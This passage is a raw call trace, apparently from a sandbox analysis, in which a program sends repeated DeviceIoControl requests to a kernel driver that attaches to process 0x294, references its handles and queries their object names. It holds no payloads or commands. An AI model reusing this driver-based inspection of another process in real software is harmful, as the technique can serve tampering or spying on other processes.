lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.330] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.330] PsAcquireProcessExitSynchronization () returned 0x0 [0093.330] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.330] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0093.331] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.331] PsReleaseProcessExitSynchronization () returned 0x2 [0093.331] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.331] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.331] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0093.331] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.331] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.331] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.331] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.331] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.331] PsAcquireProcessExitSynchronization () returned 0x0 [0093.331] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.331] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0093.331] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.331] PsReleaseProcessExitSynchronization () returned 0x2 [0093.331] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.331] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.331] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0093.331] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.331] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.331] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.331] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.331] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.331] PsAcquireProcessExitSynchronization () returned 0x0 [0093.331] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.331] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0093.331] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.331] PsReleaseProcessExitSynchronization () returned 0x2 [0093.331] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.331] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.331] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0093.331] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.331] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.331] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.332] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.332] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.332] PsAcquireProcessExitSynchronization () returned 0x0 [0093.332] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.332] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0093.332] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.332] PsReleaseProcessExitSynchronization () returned 0x2 [0093.332] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.332] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.332] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0093.332] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.332] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.332] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.332] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.332] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.332] PsAcquireProcessExitSynchronization () returned 0x0 [0093.332] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.332] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0093.332] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.332] PsReleaseProcessExitSynchronization () returned 0x2 [0093.332] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.332] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.332] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0093.332] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.332] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.332] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.332] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0093.332] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.332] PsAcquireProcessExitSynchronization () returned 0x0 [0093.332] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.332] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0093.332] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.332] PsReleaseProcessExitSynchronization () returned 0x2 [0093.332] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.333] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.333] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0093.333] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.333] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.333] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.333] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.333] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.333] PsAcquireProcessExitSynchronization () returned 0x0 [0093.333] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.333] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0093.333] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.333] PsReleaseProcessExitSynchronization () returned 0x2 [0093.333] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.333] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.333] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0093.333] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.333] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.333] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.333] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.333] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.333] PsAcquireProcessExitSynchronization () returned 0x0 [0093.333] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.333] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0093.333] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.333] PsReleaseProcessExitSynchronization () returned 0x2 [0093.333] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.333] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.333] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0093.334] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.334] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.334] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0093.334] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.334] PsAcquireProcessExitSynchronization () returned 0x0 [0093.334] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.334] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0093.334] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.334] PsReleaseProcessExitSynchronization () returned 0x2 [0093.334] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.334] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.334] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0093.334] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.334] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.334] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0093.334] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.334] PsAcquireProcessExitSynchronization () returned 0x0 [0093.334] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.334] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0093.334] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.334] PsReleaseProcessExitSynchronization () returned 0x2 [0093.334] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.334] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.334] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0093.334] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.334] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.334] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.334] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.334] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.334] PsAcquireProcessExitSynchronization () returned 0x0 [0093.334] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.334] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0093.335] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.335] PsReleaseProcessExitSynchronization () returned 0x2 [0093.335] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.335] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa8002108044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002108044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.335] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0093.335] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.335] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.335] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.335] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.335] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.335] PsAcquireProcessExitSynchronization () returned 0x0 [0093.335] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.335] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0093.335] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.335] PsReleaseProcessExitSynchronization () returned 0x2 [0093.335] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.335] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.505] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0093.505] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.506] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.506] PsAcquireProcessExitSynchronization () returned 0x0 [0093.506] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.506] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0093.506] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.506] PsReleaseProcessExitSynchronization () returned 0x2 [0093.506] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.506] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.506] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0093.506] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.506] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.506] PsAcquireProcessExitSynchronization () returned 0x0 [0093.506] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.506] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0093.506] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.506] PsReleaseProcessExitSynchronization () returned 0x2 [0093.506] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.506] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.506] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0093.506] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.506] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.506] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.506] PsAcquireProcessExitSynchronization () returned 0x0 [0093.507] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.507] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0093.507] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.507] PsReleaseProcessExitSynchronization () returned 0x2 [0093.507] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.507] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.507] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0093.507] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.507] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.507] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.507] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.507] PsAcquireProcessExitSynchronization () returned 0x0 [0093.507] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880052335d0) [0093.507] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.507] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.507] PsReleaseProcessExitSynchronization () returned 0x2 [0093.507] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb1 [0093.507] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.507] 